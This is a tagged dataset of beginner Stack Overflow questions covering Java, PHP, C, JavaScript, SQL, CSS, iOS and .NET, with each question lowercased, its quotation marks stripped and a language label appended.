i want to get individual element of an arraylist in java  i am newbie in java and i have a method  that accepts 3 parameters  query the db and  returns result in  an arraylist form (like this <code>[1  java  3  bangalore  10]</code> ). how can i extract individual element so that i can assign each to a var like <code>int id=1;string name=java</code>.    below is the method that    <pre><code>arraylist searchresult =jsearch.dojobsearch(techname  exp  city);         iterator  searchresultiterator = searchresult.iterator();         printwriter out = response.getwriter();                  string arraylist[] = new string[searchresult.size()];         if(searchresultiterator.hasnext()){                                      for(int i =0; i&lt;searchresult.size(); i++){                 //searchresult.get(i)                 out.println(searchresult.get(i));             }         }else{             out.println( no job found in selected city );         } </code></pre>,java
change image src in php   i beginner in php and i am making small project which will help me learn more php. any way on webserver i have uploaded pictures which in this format:   <pre><code>1.jpg 2.jpg 3.jpg 4.jpg 5.jpg  </code></pre>   and so on....    in the body of my page i have:   <pre><code>&lt; php $imagenumber = 1;  &gt; &lt;img src=  $imagenumber . .jpg  &gt; </code></pre>   why is this code is not working   also i want to create a function that every time the user click a button the <code>$imagenumber</code> get incremented by <code>1</code>,php
how to generate local(mobile phone) log text file  in order to trace log/what happen in android studio  i usually use log.i but now i having a problem    which is  when i try to connect to internet (load my php) the app crash. but it wont crash during my android virtual device  it only crash when i install and run on my mobile phone.    the log.i  didnt log down any error at virtual device  but after installing to phone  how i can see the log.i  or is there a way to log down what when wrong on my mobile phone.    so what is the way to generate a log file so i can see what when wrong.    i hope you guys understand my english....,android
how do you read in a number and a string from a file in c  keeping in mind that some lines in the file only has a number and not a string  i have a file with multiple lines  and on each line there is a number followed by a space and then a string. but some lines in the file do not have a string following the digit. here is part of the file:   <blockquote>    10<br>   17<br>   38 so you want to be a rock  n  roll star<br>   22 have you seen her face<br>   12 c.t.a. - 102<br>   16 renaissance fair<br>   12 time between<br>   23 everybody s been burned<br>   18 thoughts and words<br>   12 mind gardens<br>   13 my back pages<br>   21 the girl with no name<br>   3 why<br>   19 it happens each day<br>   16 don t make waves<br>   13 my back pages<br>   12 mind gardens<br>   11 lady friend<br>   18 old john robertson<br>   19<br>   13 ice cream man<br>   14 hang on sloopy  </blockquote>   here is what i have so far:   <pre><code>#include &lt;stdio.h&gt;  typedef struct    {     int num_tracks;     char tracks[];   }album_store;   int main(int argc  char *argv[]) {   album_store album[10000];   int numb_tracks;   char line;   int i=0;  if (argc &lt;2 ) {     printf( you need at least one argument\n ); }  else {     file *file;     file=fopen(argv[1]  r );      while(fscanf(file  %d %[^\n]  &amp;numb_tracks album[i].tracks) != eof)     {         album[i].num_tracks=numb_tracks;         printf( %d %s\n  album[i].num_tracks album[i].tracks);         i++;     } }  } </code></pre>   now my code reads in the lines  but not the spaces. or rather it does not know how to detect if a line does not have a string after the digit. the output of my code looks like:   <blockquote>    10 17<br>   38 so you want to be a rock  n  roll star<br>   22 have you seen her face<br>   12 c.t.a. - 102<br>   16 renaissance fair<br>   12 time between<br>   23 everybody s been burned<br>   18 thoughts and words<br>   12 mind gardens<br>   13 my back pages<br>   21 the girl with no name<br>   3 why<br>   19 it happens each day<br>   16 don t make waves<br>   13 my back pages<br>   12 mind gardens<br>   11 lady friend<br>   18 old john robertson<br>   19 13 ice cream man  </blockquote>   my question is how do i get the output of my code to match the input from the file  what would i have to change in my code  any help is greatly appreciated!,c
i don t know why django do this it is about os.stat  what is the benefits of doing so:   <pre><code>import os st_mode  = 0 st_ino   = 1 st_dev   = 2 st_nlink = 3 st_uid   = 4 st_gid   = 5 st_size  = 6 st_atime = 7 st_mtime = 8 st_ctime = 9  # extract bits from the mode  def s_imode(mode):     return mode &amp; 07777  def s_ifmt(mode):     return mode &amp; 0170000  # constants used as s_ifmt() for various file types # (not all are implemented on all systems)  s_ifdir  = 0040000 s_ifchr  = 0020000 s_ifblk  = 0060000 s_ifreg  = 0100000 s_ififo  = 0010000 s_iflnk  = 0120000 s_ifsock = 0140000  # functions to test for each file type  def s_isdir(mode):     return s_ifmt(mode) == s_ifdir def isdir(path):        test whether a path is a directory        try:         st = os.stat(path)     except os.error:         return false     return s_isdir(st.st_mode)#this code  why </code></pre>   thanks,python
show/hide multiple select menus  i m looking to create a questionaire which will start with one select menu on the page  when the user chooses an option the next dropdown will appear dependant on the choice. there could be up to 10 questions in total  i m just looking to for someone to point me to a tutorial that could help.    thanks in advance.,jquery
system.configuration.configurationmanager.appsettings  is a  property  but is used like a  method   configuration file   <pre><code>&lt;add key= objconn  value= provider=sqloledb;persist security info=true;user id=omembers;pwd=omembers;initial catalog=omnex2007;data source=192.168.100.131 /&gt; </code></pre>   c# code   <pre><code>strconnection = system.configuration.configurationmanager.appsettings( objconn ); sqlcon = new sqlconnection(strconnection); </code></pre>,asp.net
when i build and analyze  i got potential leak on at this point <pre><code>(bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {           [self.window addsubview:rootcontroller.view];     [self.window makekeyandvisible];        [[controlfile alloc]scedule1];        return yes; } </code></pre>   i got potential leak of an object allocated on [[controlfile alloc]scedule1] when i build &amp; analyze,iphone
need help breaking down code to smaller parts c  i m pretty new to c so be gentle  somewhy my code doesn t work  be kind and help my figure it out why it doesn t  also if it s possible to make it shorter without making it too complicated  please help in that too.   <pre><code> main.c  #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include  swap.h  #include  magic.h   int main(int argc  char *argv[]) {     int i j count;     int min=atoi(argv[1]);     int max=atoi(argv[2]);      if(min&gt;max)     {         swap(&amp;min  &amp;max);     }      if (min&lt;0)     {         min=1;     }      if(argc&lt;2 || argc&gt;5){exit(exit_failure);}     else     {        magic();     }  } </code></pre>   magic.c   <pre><code>    #include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include magic.h  magic(char *argv[]) {     for(i = min; i&lt;=max; i++)     {          count = 0;          for(j=2; j&lt;=i/2; j++)         {             if(i%j==0)             {                 count++;                 break;             }         }          if(count==0 &amp;&amp; i!= 1 &amp;&amp; i!= 0)             printf( %d \n  i);     }      return 0; } </code></pre>,c
how do i remove an iframe from within itself (that has been dynamically created and loaded with src)  i want to be able to remove an iframe from within itself. the iframe is created dynamically and the content is loaded with  src .    i create my iframe like this:   <pre><code>    var i = document.createelement( iframe );     i.id =  proxy_frame ;     i.name =  proxy_frame ;     i.setattribute( src   url);     document.body.appendchild(i); </code></pre>   then from within  url  i want to be able to remove/close the iframe.    before loading the data into the iframe with src i used document.write:   <pre><code>    window.frames[ proxy_frame ].document.write(html); </code></pre>   and then i was abloe to remove the iframe with:   <pre><code>    window.parent.document.getelementbyid( proxy_frame ).parentnode.removechild(window.parent.document.getelementbyid( proxy_frame )); </code></pre>   but this does not work with  src .    note: this is for a bookmarklet so i don t want to use jquery or another library.,javascript
using $mddialog.confirm() closing the parent page <blockquote>    i have open a template by using <strong>$mddialog.show()</strong> like this:-  </blockquote>  <pre><code> $mddialog.show({ skiphide: true   controller:  editcontroller   templateurl:  app/view/edit.html   parent: angular.element(document.body)  clickoutsidetoclose: false }); </code></pre>  <blockquote>    now i am tring to show the alert before saving the data by using the   $mddialog.confirm() like this:-  </blockquote>  <pre><code>  var confirm = $mddialog.confirm()                                                 .parent(angular.element(document.body))     .content( are you sure to save the document   )     .ok( save )     .cancel( cancel ) $mddialog.show(confirm).then(function () {}      function () { $mddialog.hide();         }); </code></pre>  <blockquote>    issue : closing the opened template after opening the alert.  </blockquote>,angularjs
expanding array (few times) using realloc - crashes <pre><code>int add_edge_to_vertex(int vertexfromid int vertextoid){     vertex vertexto=vertices[vertextoid];     if(vertexto.edgesinarrlength == vertexto.numofedgesin){ //multiply this vertex arr of edges if needed         vertices[vertextoid].edgesinarrlength = (vertices[vertextoid].edgesinarrlength)*2;         tmpvertexedges = (edge*)realloc((vertices[vertextoid].edges) (vertices[vertextoid].edgesinarrlength)*sizeof(edge));         if(tmpvertexedges != null) {             vertices[vertextoid].edges = tmpvertexedges;         }         else         {             free(tmpvertexedges);             return 0;         }     } }  typedef struct vertex {     char* name; //not unique     int id; //unique     edge* edges; //array  edges     int outdegree;     int edgesinarrlength;     int numofedgesin;     double rank; }vertex; </code></pre>   this is how i initialize a vertex-     <pre><code>vertex res={(char *)malloc(strlen(name)*sizeof(char)) verticescount (edge*)calloc(1  sizeof(edge)) 0 1 0 1}; </code></pre>   when edge is this struct-   <pre><code>typedef struct edge {     int fromvertexid;     int tovertexid;     double weight; }edge; </code></pre>   when i try to double-up the vertex.edges array (lines 3-12)  the program crashes at the realloc part with this error message- <strong>* glibc detected <em></strong> /home/froike/workspacec/page ranking/debug/page ranking: malloc(): memory corruption: 0x00000000009711d0 *</em>*,c
how do i enable or disable options select box based on selection in other select box in html  <pre><code>&lt;select name= cat  class= input &gt; &lt;option value=  &gt;----------select category--------&lt;/option&gt; &lt;option value= finance &gt;finance&lt;/option&gt; &lt;option value= travel &gt;travel&lt;/option&gt;&lt;/select&gt;  &lt;!--basing on the option selected in html code i would like to display options in the below select--&gt; &lt;select name= scat  class= input &gt; &lt;option value=  &gt;---------select subcategory------&lt;/option&gt; &lt;option value= financial planning &gt;financial planning&lt;/option&gt; &lt;option value= financial control &gt;financial control&lt;/option&gt; &lt;option value= corporate finance &gt;corporate finance&lt;/option&gt; &lt;option value= financial management &gt;financial management&lt;/option&gt; &lt;option value= financial statement &gt;financial statement&lt;/option&gt; &lt;option value= travel planning &gt;travel planning&lt;/option&gt;       &lt;option value= travel management &gt;travel management &lt;/option&gt; &lt;option value= corporate travel &gt;corporate travel&lt;/option&gt; &lt;/select&gt;&lt;br&gt; </code></pre>   how to make that possible in html  can i use statements like if... else in html       what should i do to achieve that dynamic enabling and disabling in html,html
how to delete a uibutton   i m not able to delete the uibutton at the top left in the screen shot below. please tell me how i can remove it completely.    <img src= https://i.stack.imgur.com/eucf6.png  alt= screenshot >,ios
multiple select from checkboxes using c#  hy..i have a checkbox with 5 choices. i want to insert the checked values into one table separated by a      .here is my code:   <pre><code>        string str = string.empty;          foreach (listitem item in this.checkbox1.items)        {             if (item.selected)            {                 str = str +    ;            }         }          sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ chestionar ].connectionstring);         sqlcommand cmd = new sqlcommand( insert into raspunsuri values(   + str +    @cnp @data  10 )   con);          cmd.parameters.addwithvalue( @cnp   session[ sesiune_cnp ]);         cmd.parameters.addwithvalue( @data   datetime.now.tolocaltime());           try         {             con.open();             cmd.executenonquery();             response.redirect( user11.aspx );         }          catch (exception ex)         {             console.writeline( error:  + ex);         }         finally         {             con.close();         } </code></pre>   my problem is that when i hit the insert button it doesn t insert the values that the user checked.i must assign to string str a value.what is that value,c#
how do i add a class to elements preceding a clicked class   i have the following html in which i am building up star-based voting. i want it to where if the user clicks on the fourth star all the stars up to and including the one they clicked have the new class that would show the stars  lit up  such that they have the css class called <code>jquery-ratings-full</code>    <pre><code>&lt;div id= starrating &gt;      &lt;img class= jquery-ratings-star  id= star1  /&gt;      &lt;img class= jquery-ratings-star  id= star2  /&gt;      &lt;img class= jquery-ratings-star  id= star3  /&gt;      &lt;img class= jquery-ratings-star  id= star4  /&gt;      &lt;img class= jquery-ratings-star  id= star5  /&gt; &lt;/div&gt; </code></pre>,jquery
cannot implicitly convert type system.data.datatable to microsoft.office.interop.excel <pre><code> public datatable populatevendorgridview()         {              dataset ds = new dataset();             ds = (dataset)session[ vendorinvoiceid ];              return ds.tables[0]; //getting error here         } </code></pre>,c#
how to convert a client time to server time in asp.net  i have one <code>text-box</code> with <code>date-time</code> picker control.while choosing the date_time it is taking current system time. i want after select it will automatically convert to server time and it should display in the <code>text-box</code>. can anyone suggest me how to convert this client time to server time,asp.net
php default function first value  in php default function have any solution for below code    <pre><code>function sum($num1=20 $num2=10) {      $sum=$num1+$num2;      echo $sum; } sum(   40); </code></pre>   here the problem is first default value is not working.for example if i write sum(40); it will give me ans 40+10=50 but i want the ans will be 40+20=60. need to use 1st default value.,php
get true path from localized path in .net  when i open the file explorer and do a search for at file  i might get something like;   <pre><code>c:\brugere\willie\skrivebord\stuff </code></pre>   now the parts <code> brugere </code> and <code> skrivebord </code> are actually the folders <code> users </code> and <code> desktop </code>  but if i try to do this :   <pre><code>system.io.directory.exists( c:\brugere\willie\skrivebord\stuff ) </code></pre>   the folder isn t found since its actually <code> c:\users\willie\desktop\stuff </code>    is there some way to translate the localized path to the actual path  there are several ansvers on how to do the opposite  just not this.,.net
programming exercise is following: exercise on for-structure. how to write a program  which prints below christmastree  <pre><code>                                   o                                   ooo                                  ooooo                                 ooooooo                                ooooooooo                               ooooooooooo                              ooooooooooooo                             ooooooooooooooo                            ooooooooooooooooo                           ooooooooooooooooooo                          ooooooooooooooooooooo                         ooooooooooooooooooooooo                                    o </code></pre>   is there some hint for me. i m stuck. this should be possible to do with for-structure.   <pre><code>_ ~ empty  0 ~ 0-sign if luku =3 then. __0__ _000_ 00000 </code></pre>   so    <pre><code> for( int i=0; i&lt;luku; i++)     for( int j=0; j&lt;luku; j++)         system.out.print(   ); </code></pre>,java
incomplete implementation in objective-c class  this is my viewcontroller.h  it is very short and simple so i thought this would work.   <pre><code>// //  viewcontroller.h //  blue bird // //  created by chandler davis on 12/23/11. //  copyright (c) 2011 __mycompanyname__. all rights reserved. //  #import &lt;uikit/uikit.h&gt; #import &lt;twitter/twitter.h&gt;  @interface viewcontroller : uiviewcontroller  - (ibaction)button: (id)sender; @end </code></pre>  <hr>   and this is my viewcontroller.m  and it tells me that the  implementation is incomplete . what am i doing wrong    <pre><code>// //  viewcontroller.m //  blue bird // //  created by chandler davis on 12/23/11. //  copyright (c) 2011 __mycompanyname__. all rights reserved. //  #import  viewcontroller.h   @implementation viewcontroller  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // release any cached data  images  etc that aren t in use. }  #pragma mark - view lifecycle  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. }  - (void)viewdidunload {     [super viewdidunload];     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }  - (void)viewwillappear:(bool)animated {     [super viewwillappear:animated]; }  - (void)viewdidappear:(bool)animated {     [super viewdidappear:animated]; }  - (void)viewwilldisappear:(bool)animated {     [super viewwilldisappear:animated]; }  - (void)viewdiddisappear:(bool)animated {     [super viewdiddisappear:animated]; }  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // return yes for supported orientations     if ([twtweetcomposeviewcontroller cansendtweet]) {         twtweetcomposeviewcontroller *tweetcomposer = [[twtweetcomposeviewcontroller alloc]                                                        init];         [tweetcomposer setinitialtext:@ twit ];         [self presentmodalviewcontroller:tweetcomposer animated:yes];     }     else {         uialertview *alertview = [[uialertview alloc]                                   initwithtitle:@ error  message:@ unable to send tweet  delegate:self cancelbuttontitle:@ ok  otherbuttontitles: nil];         [alertview show];     }     return 0;  }  @end  </code></pre>,objective-c
i need a help in files in c  i am using code blocks  trying to a write a simple code to display a file content on screen using a condition if the file didnt exist already  the problem here is tht i already have a file in the directory  but i get :  unable to open file      i am a beginner and i cant see where is the problem ...   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {   file *f ;    char ch ;     f= fopen( c/:f.txt   r );    if (f == null)     {         printf( unable to open file \n );         system( pause );      return 0 ;      }      do {     ch  = getc(f);     fprintf(f ch);       }while(ch !=eof) ;    fclose(f);    printf( /n );   system( pause );   return 0 ;    } </code></pre>,c
how to stop execution of function in javascript   how to stop execution of function in javascript     please see below code:    <pre><code>   if(m==  )     {     alert( novalue );     getdate().stoppropagation();     } </code></pre>   i want that <code>if(m==null)</code> the <code>getdate()</code> should not get executed.    how this can get achieved in javascript,javascript
how to set image in background of frame in html  i have divided frame into two and want to set background image. please assist.   <pre><code>&lt;html&gt;     &lt;body&gt;         &lt;frameset rows= 10% * &gt;             &lt;frame src = ok2.jpg &gt;               &lt;frame src = ok3.jpg &gt;          &lt;/frameset&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
saving xml locations via appsettings  i m an application designer student looking for some guidance.    i want to make an application for my internship which needs to allow a user to add xml files via a textbox which only has to appear the first time you run the application or when it detects a new xml file.    when it is first run it has to have an option to save the location into the appsettings.    could you guys give me some hints on how to realise this     this is not homework  my internship asked me if i would be able to make something which will make their work just a bit more easy.    there is no textbook or sorts. if there was i would have consulted that.,c#
how to find total salary of all departments <pre><code>select d_id  sum(salary)  from employee  group by d_id. </code></pre>   i want to get total salary of all departments with this query.,sql
compare how long two functions took  i have two functions and i want to print how long each of them took to finish.    what i have so far:   <pre><code>int main() {    clock_t tic1 = clock();    shell_sort(array  100000);    clock_t toc1 = clock();    printf( shellsort took: %f seconds\n   (double)(toc1 - tic1) / clocks_per_sec);     clock_t tic2 = clock();    bubble_sort(array  100000);    clock_t toc2 = clock();    printf( bubblesort took: %f seconds\n   (double)(toc2 - tic2) / clocks_per_sec);     return 0; } </code></pre>   it should work fine  but after printing duration of first function it stops. it feels like the program is still running. there is no  press any key to continue . how can i fix this,c
sql: find customer who has account in lonsdale but not in robson  i need to find the customerids of customers who have an account in the lonsdale branch but don t have one in robson.     <strong>bank schemata:</strong>   <pre><code>customer = {customerid  firstname  lastname  birthdate  income} account = {accnumber  type  balance  rate  branchname}     ▪ branchname is a foreign key referencing branch owns = {customerid  accnumber}     ▪ customerid and accnumber are foreign keys referencing customer and account </code></pre>   the <strong>correct</strong> way doing so is like this:   <pre><code>select o1.customerid from owns o1  account a1 where a1.accnumber = o1.accnumber and a1.branchname =  lonsdale  except select o2.customerid from owns o2  account a2 where a2.accnumber = o2.accnumber and a2.branchname =  robson   </code></pre>   but  the <strong>incorrect</strong> query is like this:   <pre><code>select o1.customerid from owns o1  account a1  owns o2  account a2 where o1.customerid = o2.customerid and o1.accnumber = a1.accnumber and o2.accnumber = a2.accnumber and a1.branchname =  lonsdale  and a2.branchname &lt;&gt;  robson </code></pre>   the query actually returns who own any account that isn t the robson branch. my question is: why this query is not working  (regardless the running time). what is actually going on in this query,sql
php - setting a variable to a parameter name conflict  i ve been trying for the last two weeks to develop a super simple interface to import users in a mailing list on campaign monitor.    the place i m stuck has been with getting the array of users into the right format.  i ve been back and forth with their support  all over google  and nothing.  the main problem is i ve been getting mixed signals from their support staff.  i started digging around in their wrapper file and i saw something that had me a little confused...   <pre><code>function import($subscribers  $resubscribe  $queuesubscriptionbasedautoresponders = false  $restartsubscriptionbasedautoresponders = false) {     $subscribers = array(          resubscribe  =&gt; $resubscribe           queuesubscriptionbasedautoresponders  =&gt; $queuesubscriptionbasedautoresponders           subscribers  =&gt; $subscribers           restartsubscriptionbasedautoresponders  =&gt; $restartsubscriptionbasedautoresponders     );      return $this-&gt;post_request($this-&gt;_subscribers_base_route. /import.json   $subscribers); } </code></pre>   this is the import function they supplied as part of their php wrapper.    now  forgive me if i m mistaken as i m no coding genius  but shouldn t they be using a different variable for the main array that s not a function parameters   if <code>$subscribers</code> is set as a function param  would it cause problems if they then immediately set a variable to <code>$subscribers</code>,php
get the $rootscope from a dom element  i m traversing the dom to count up all the scopes in an angular appliation.    i m using this method:   <pre><code>angular.element(document.body).data().$scope </code></pre>   this works for any other dom element that has a scope on it  but doesn t find the $rootscope ever.    is there a way to get to the <code>$rootscope</code> from the dom,angularjs
"why does console.log() output [object object] in javascript   <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>console.log(({
   title:  the three musketeers  
   author:  alexandre dumas  
   price:  $49 
 }).tostring());</code></pre>
 </div>
 </div>
     it outputs an object as <code>[object object]</code>  even though i am calling .tostring() on it. can anyone please explain why this happens",javascript
wrapper operation trouble  i am having a terrible time understanding how to get the wrapper to work with these encryption programs. i got a caesar cipher program to work to both encrypt and decrypt  now i am working on a vigenere cipher. i have the program working but when i use a key that will cause the letters to wrap around i get odd results. here is the code i am using:   <pre><code>int main(int argc  char *argv[]) {     char s2[25];     strcpy(s2  argv[1]);     printf( please enter a string of text to be encrypted!\n );     string p = getstring();     for (int i = 0  n = strlen(p); i &lt; n; i++)     {         if (isupper(p[i])){          char c = (p[i] -  a  + s2[i]);         printf( %c   c);         }     }     printf( \n );  } </code></pre>   this code will work if the command line input is <code>./program bacon</code> and i enter blah for the text to be encrypted. if for example i use <code>./program zzzzz</code> as the key then i will get all kinds of odd results because it does not wrap back around. i have tried using the modulus operator and have left it out of the code i just posted because i still could not get it to wrap with that. i am just starting to learn programming.   <h2>update</h2>   maybe you can help me understand the math better; your code works perfectly  but i have been trying to figure this out on a calculator manually just to see what s going on. this is what i have so far:   <pre><code>./program hhhhh </code></pre>   keylen should equal 5 in my understanding and so if i give p[i] a value of  h     <pre><code>keylen= 5 p[i]= h   //or 72 in ascii  int sum = (p[i] -  a ) + (s2[i % keylen] -  a ); //sum = (72 -  65 ) + ([72 % 5] -  65 ); char c =  a  + sum%26; // c = 65 + -11 </code></pre>   maybe my math is way off because when i do things in the order i think they should be done sum = negative 63 and so a 26 mod of -63 which gives me negative 11. which clearly is not right because that equals 54 when you add 65 and negative 11.    even if i make the negative 11 a positive integer of 11 and add 65 i get 76 which is ascii character  l  but the right answer is  o . i am clearly doing something wrong but i ve been working on the solution for a while now and keep coming up with the same results.,c
how to animate dynamically generated html in jquery  i m fetching tabular data from the server using jquery s ajax function. and i m using the .html function to assign the fetched data inside a div with an id of list_forms.  how do i animate it  i m trying <code>$( #list_forms ).html(data).show( slow );</code> but its not working.   <pre><code>$.ajax({     type:  post       url:  item_lister.php       data:  category=  +  action      success: function(data){         $( #list_forms ).html(data);     } }); </code></pre>,jquery
what will be the output for this logic   i have the below code. but  i think 4 is the answer. am i right    <pre><code>int a  i;  if (execute) {   int count = 0;   for (i=0; i&lt;5; i++)   {     if(pcnt[i]) count ++;   }   a = (count &gt; 0) } else {   a= 0; } </code></pre>   will a be a=1 or a=4 for the if case,c
python: how the get the consecutive n-size pieces in a string   given a string such as <code> 8584320342564023450211233923239923239110001012346596 </code>  how can get all consecutive 4 digit subsequences       for example  the above string will produce: <code>8548</code>  <code>5843</code>  <code>8432</code>   <code>0342</code>  ...,python
syntaxerror attempting to complete getting started with rails  i m new to linux/ruby/rails  so i m trying to learn by doing the <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow  title= getting started with rails >getting started with rails</a> tutorial.  in section 5.7  it doesn t specifically say what to do with this line:   <pre><code>post get    /posts/:id(.:format)      posts#show </code></pre>   i assume i am to put this in the routes.rb file   i did  but then i get this when i try to get any of the controller actions:   <pre><code>syntaxerror /.../blog/config/routes.rb:9: syntax error  unexpected  :   expecting keyword_end post get /posts/:id(.:format) posts#show ^ </code></pre>   being such a newbie  i have no idea what i should do at this point.  what is the error on this line     thanks  james,ruby-on-rails
talk to tethered hardware from ios  what options do i have in ios (6 or later) to talk to custom hardware that is connected to the device through a cable without jailbreaking  (think usb  rs232  arduino ...)    i am new to ios development and i have read that there are some harsh licensing terms and restrictions in the apple ecosystem in that regard.,ios
reload the view in iphone (in viewwillappear)  i got a little app that has a button whose click is handled via   <pre><code>- (ibaction)click:(id)sender { } </code></pre>   now  what i want is after click() runs  i want the view to refresh/reload itself  so that viewwillappear() is re-called automatically.  basically how the view originally appears.    of course i can call viewwillappear manually  but was wondering if i can get the framework to do it for me,iphone
possible for parent process to hang on  wait  step if child process becomes a zombie or crashes   i have used pipe / fork etc to execv to execute a subprocess in c and it is working 100%.    essentially i have the following wait step in the parents code:   <pre><code>wait(&amp;rv); //where rv is just an int of zero </code></pre>   my question is: is it possible for the parent to wait  indefinitely  or hang if the child crashes with a segmentation fault or becomes a zombie     put another way  if the child code has no  endless loops  etc....is it still possible for the parent process to just  hang  forever of the wait step     what is the safest approach here to prevent handing  i have seen a wnohang....should i be using that  but i need to wait for the sub process to end before continuing    <pre><code>waitpid(-1  &amp;status  wnohang) </code></pre>   also  is it best practice to use a sigchld handler     thanks for the help    lynton,c
strange behavior of .net s createdirectory method  i have the following code:   <pre><code>if (directory.exists( mydir ))     directory.delete( mydir   true);  directory.createdirectory( mydir );  ...  if (!directory.exists( mydir )) {     fail( mydir not created ); } </code></pre>   the code is to make sure mydir is new. however that code snippet intermittently fails because mydir folder is not created even i have the createdirectory method above. have someone experienced similar issue,.net
accessing the private data inside main function  inside main.cpp   <pre><code>class vivek {     int i;     float d; public:     vivek()     {         i = 4;         d = 4.44;     }     ~vivek()     {         cout &lt;&lt;  destructor  &lt;&lt; i;     }     int get()     {         return i;     } };  int main() {     vivek *viku = new vivek;     vivek *p;      p = viku;     cout &lt;&lt; (*(int*) (p));     getchar();      return 0; } </code></pre>   through above code i can able to access variable i   but i want to know how can i access the variable d .    i know this concept shall not be advisable since it violates encapsulation .. but i just want to know how we can do this,c++
.net - excel to html without excel installed  i m creating excel files  by npoi library from codeplex. how can i convert this excel files to html  can not call interop and etc.,.net
precedence of chained assignments and implicit conversions  i ve got a simple and stupid code snippet to analyse. in essence it performs something like:   <pre><code>a = b = c; </code></pre>   but the types are very tricky.<br> in one place i have:   <pre><code>int a c; unsigned int b; </code></pre>   in the other place i have:   <pre><code>int a; unsigned int b c; </code></pre>   if the compiler interprets a = b  then i convert an unsigned int to an int<br> ok  on 2-complement  no matter  such conversion is a no-op<br> but such conversion can overflow  which would be ub  is it right <br> and in this case  the compiler has a license to presume i don t rely on ub  and can thus eventually consider that a>=0 unconditionnally and eliminate a further test <code>if(a&lt;0) blah...</code> is it still right <br>    in such case both pieces of code will result in same behavior though.    if compiler interprets <code>a = c</code> and i think that s what is does  and if my above ub analysis is correct  then the two piece of codes could give different results.<br>    so how are these expression interpreted <code>a=b</code> or <code>a=c</code>  or in other words in which case can such a <code>(a&lt;0)</code> branch be eliminated  only one  both or none     last note  my exact case is a return value in an inlined function  but i think it would not change above conclusions  right    <pre><code>static inline int a1(unsigned int *b unsigned int c) {return *b=c;} static inline int a2(unsigned int *b int c) {return *b=c;} </code></pre>,c
how to create ui alert view in .pch in objective c <pre><code>#define kcustomalert @ uialertview *alert=[[uialertview alloc]initwithtitle:@ alert back  message:msg delegate:self cancelbuttontitle:@ ok  otherbuttontitles: nil];[alert show];  </code></pre>  <ol> <li>how to call this alert in view controller class </li> </ol>,iphone
some class is conflicting with my css and i can t figure it out  i m trying to simply making 3 columns for 50 states like in my jfiddle <a href= http://jsfiddle.net/efhr833n/  rel= nofollow >http://jsfiddle.net/efhr833n/</a>    but when i go live. it s the exact code and for some reason there is margin on each subsequent div:    live site: <a href= http://unclestevesny.com/test-accordion/  rel= nofollow >http://unclestevesny.com/test-accordion/</a> here s a screenshot: <a href= https://www.dropbox.com/s/d9k7h8d4ku92are/acc.png dl=0  rel= nofollow >https://www.dropbox.com/s/d9k7h8d4ku92are/acc.png dl=0</a>    i have no idea what is making this happen.   <pre><code>/* accordion header */ .accordion .thestate { background:#a91414; width:250px; font-size:18px; font-weight:bold; cursor:pointer; color: #fff; margin:15px; text-align:center; text-transform:uppercase; float:left; } </code></pre>   html           new york     new york     new york   <pre><code>&lt;span class= thestate &gt;district of columbia&lt;/span&gt; &lt;span class= thestate &gt;new york&lt;/span&gt; &lt;span class= thestate &gt;new york&lt;/span&gt; &lt;/div&gt; &lt;!-- end accordion --&gt; </code></pre>,css
formatting the error validation in html  i am trying to format the text from the error validation javascript below:   <pre><code>&lt;script&gt; function validateform() {     var x=document.forms[ myform ][ firstname ].value;     if (x==null || x==  )     {         document.getelementbyid( usernameerror ).innerhtml =  invalid first name ;         return false;     } } &lt;/script&gt; </code></pre>   the javascript works as intended  but i need to format the text as it appears on the page. the following is the username field:   <pre><code>&lt;fieldset class= step &gt; &lt;legend&gt;personal information&lt;/legend&gt; &lt;p&gt;     &lt;label for= firstname &gt;first name: &lt;/label&gt;     &lt;input type= text  name= firstname /&gt;     &lt;div id= usernameerror &gt;&lt;/div&gt; &lt;/p&gt; &lt;/fieldset&gt; </code></pre>   as you can probably imaging  the javascript appends/inserts the text  invalid first name   if the field is empty  however  i need it to be red (as it is an error) and indented to the right. how do i achieve that,html
inheriting from an existing css class  i have a css class as follows:   <pre><code>.sibsi {   background-color: #008fff;   padding: 5px;   cursor: pointer;   color: #ffffff; } </code></pre>   how do you create a new class that inherits everything from the class .sibsi but where i can override individual css properties  in other words  i want to have all the properties of sibsi but change just the background-color.    the only thing i ve found is this: <a href= https://stackoverflow.com/a/5417412/753632 >https://stackoverflow.com/a/5417412/753632</a>    but that essentially means specifying all the classes in places where the classes are used.,css
css float logic( inner text not moved)  i would like to know float logic. please see below code.   <pre><code>&lt;div style= width:300px;height:100px;border:1px solid gray; &gt;     &lt;div style= width:50px;height:50px;float:left;border:1px solid gray &gt;a&lt;/div&gt;     &lt;div style= width:25px;height:25px;background:blue &gt;b&lt;/div&gt; &lt;/div&gt; </code></pre>   result    <a href= http://jsfiddle.net/5cclv2tb/  rel= noreferrer >http://jsfiddle.net/5cclv2tb/</a>    i can understand logic that blue box moves to left 0 top 0. but why is inner text (b) not moved,css
is there any way to get cookie response quickly   i have written a simple code in page <strong>test_cookie.php</strong> to work with cookies.   <pre><code>if(isset($_get[ data ])) {      setcookie( test_cookie   $_get[ data ]  time()+60*60*24*30);  } echo  cookie name is:   . $_cookie[ test_cookie ]; </code></pre>   now once cookie is set to something  and i set the value to something else (using $_get)  then the content value doesn t change quickly. i have to refresh it again  if a new value comes.    here is a picture example:    <img src= https://i.stack.imgur.com/bslc0.png  alt= cookie problem >,php
